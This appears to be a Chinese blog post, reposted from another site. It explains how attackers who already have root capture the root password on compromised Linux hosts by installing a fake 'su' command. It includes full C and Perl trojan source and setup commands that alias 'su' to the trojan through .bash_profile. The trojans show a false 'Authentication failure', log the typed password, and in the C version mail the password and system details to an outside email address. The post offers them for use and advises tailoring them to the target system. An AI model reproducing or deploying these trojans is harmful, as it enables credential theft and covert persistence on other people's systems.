\u901a\u8fc7Web\u83b7\u53d6\u5230backdoor\u672c\u8eab\u662froot(\u53ef\u80fd\u6027\u5c0f\u7684\u53ef\u601c)\u6216\u901a\u8fc7\u67d0\u6f0f\u6d1e\u6ea2\u51fa\u6210\u529f\u5f97\u5230\u6700\u9ad8\u6743\u9650\u540e\uff0c\u5982\u679c\u80fd\u83b7\u53d6root\u5bc6\u7801\u80fd\u7ed9\u6211\u4eec\u5e26\u6765\u5f88\u591a\u7684\u597d\u5904\u3002\u7f51\u4e0a\u7ed9\u51fa\u7684\u4e3b\u8981\u662f\u4e24\u79cd\u65b9\u6cd5\uff1a\u4e00\u4e2a\u662f\u6b3a\u9a97\/\u66ff\u6362su\u8bb0\u5f55\u5bc6\u7801\uff0c\u53e6\u5916\u4e00\u4e2a\u662f\u66ff\u6362sshd(\u4e2a\u4eba\u89c9\u5f97\u5c31\u7c7b\u4f3c\u4e8e\u4e4b\u524d\u7684\u4e2d\u6587\u7248Putty\u7684\u90a3\u4e2a\u540e\u95e8\u4e00\u6837\uff0c\u5728\u8fde\u63a5SSH\u7684\u540c\u65f6\u8bb0\u5f55\u4e0b\u4f60\u8f93\u5165\u7684\u7528\u6237\u540d\u5bc6\u7801)\uff0c\u4e0b\u9762\u5148\u770b\u770b\u6b3a\u9a97su\u8bb0\u5f55\u5bc6\u7801\u7684\u4ee3\u7801\u5427\uff01<\/p>\n
\u5148\u770b\u7b2c\u4e00\u79cd\uff0ckpr-fakesu.c V0.9beta167<\/p>\n
\/*\n* kpr-fakesu.c V0.9beta167 ;P\n* by koper <koper@linuxmail.org>\n*\n* Setting up:\n* admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c\n* admin@host:~$ mv .su \/var\/tmp\/.su\n* admin@host:~$ cp .bash_profile .wgetrc\n* admin@host:~$ echo \"alias su=\/var\/tmp\/.su\">>.bash_profile\n* admin@host:~$ logout\n* *** LOGIN ***\n* admin@host:~$ su\n* Password:\n* su: Authentication failure\n* Sorry.\n* admin@host:~$ su\n* Password:\n* root@host:~# logout\n* admin@host:~$ cat \/var\/tmp\/.pwds\n* root:dupcia17\n* admin@host:~$\n*\n* \/bin\/su sends various failure information depending on the OS ver.\n* Please modify the source to make it \"fit\"\n*\n*\/\n#include <stdio.h>\n#include <stdlib.h>\nvoid main(int argc, char *argv[]){\n\tFILE *fp;\n\tchar *user;\n\tchar *pass;\n\tchar filex[100];\n\tchar clean[100];\n\tsprintf(filex, \"\/var\/tmp\/.pwds\");\n\tsprintf(clean, \"rm -rf \/var\/tmp\/.su;mv -f \/home\/admin\/.wgetrc \/home\/admin\/.bash_profile\");\n\tif(argc==1) user=\"root\";\n\tif(argc==2) user=argv[1];\n\tif(argc>2){\n\t\tif(strcmp(argv[1], \"-l\")==0)\n\t\t\tuser=argv[2];\n\t\telse\n\t\t\tuser=argv[1];\n\t}\n\tfprintf(stdout, \"Password: \"); pass=getpass(\"\");\n\tsystem(\"sleep 3\u2033);\n\tfprintf(stdout, \"su: Authentication failurenSorry.n\");\n\tif ((fp=fopen(filex, \"w\")) != NULL)\n\t{\n\t\tfprintf(fp, \"%s:%s\", user, pass);\n\t\tfclose(fp);\n\t}\n\tsystem(clean);\n\tsystem(\"rm -rf \/var\/tmp\/.su; ln -s \/bin\/su \/var\/tmp\/.su\");\n\t\/* If you don't want password in your e-mail uncomment this line: *\/\n\tsystem(\"uname -a >> \/var\/tmp\/.pwds; cat \/var\/tmp\/.pwds | mail kalikosta@hotmail.com\");\n}<\/pre>\n\u6ce8\u610f\uff1a\u5982\u679c\u8981\u7528\u7684\u8bdd\u4f60\u9700\u8981\u6839\u636e\u7279\u5b9a\u7684\u7cfb\u7edf\u73af\u5883\u4fee\u6539\u4ee3\u7801\u4e2d\u7684\u9519\u8bef\u63d0\u793a\u7b26\u4ee5\u53ca.bash_profile\u7b49\u5728\u4e0d\u540c\u7cfb\u7edf\u4e0a\u6709\u5dee\u5f02\u7684\u6587\u4ef6\u540d\u3002<\/p>\n
\u8fd8\u6709\u4e00\u4e2aPerl\u7684\u7248\u672c\uff1a<\/p>\n
#!\/usr\/bin\/perl\n################################################################################\n# kyle@freeshell.se 2006 su trojan check so the su path is correct. #\n# then make alias for trojan first it reads the pass then exec the real su. #\n# logging to \/tmp\/.pass #\n################################################################################\nprint \"Password: \"; $s1=<STDIN>;\nprint \"Sorry.n\";\n$s2=\"Password is: \";\n$s3=`date +%Y-%m-%d`;\nopen(users, \">>\/tmp\/.pass\") || die(\"Could not open file. $!\");\nprint users($s2, $s1, $s3);\nclose(users);\nsystem(\"\/bin\/su\")<\/pre>\n\u53e6\u4e00\u79cd\u65b9\u6cd5\u662f\u66ff\u6362sshd\uff0c\u8fd9\u91cc\u5c31\u4e0d\u8be6\u7ec6\u8bf4\u4e86\u3002<\/p>\n
\u672c\u6587\u8f6c\u81ealinuxso\uff0c\u7136\u540e\u7a0d\u5fae\u7f8e\u5316\u4e86\u4e00\u4e0b\u5176\u4e2d\u7684\u4ee3\u7801\u683c\u5f0f\u4fbf\u4e8e\u9605\u8bfb\u3002<\/p>\n
\u539f\u6587\u94fe\u63a5\uff1a<\/h6>\n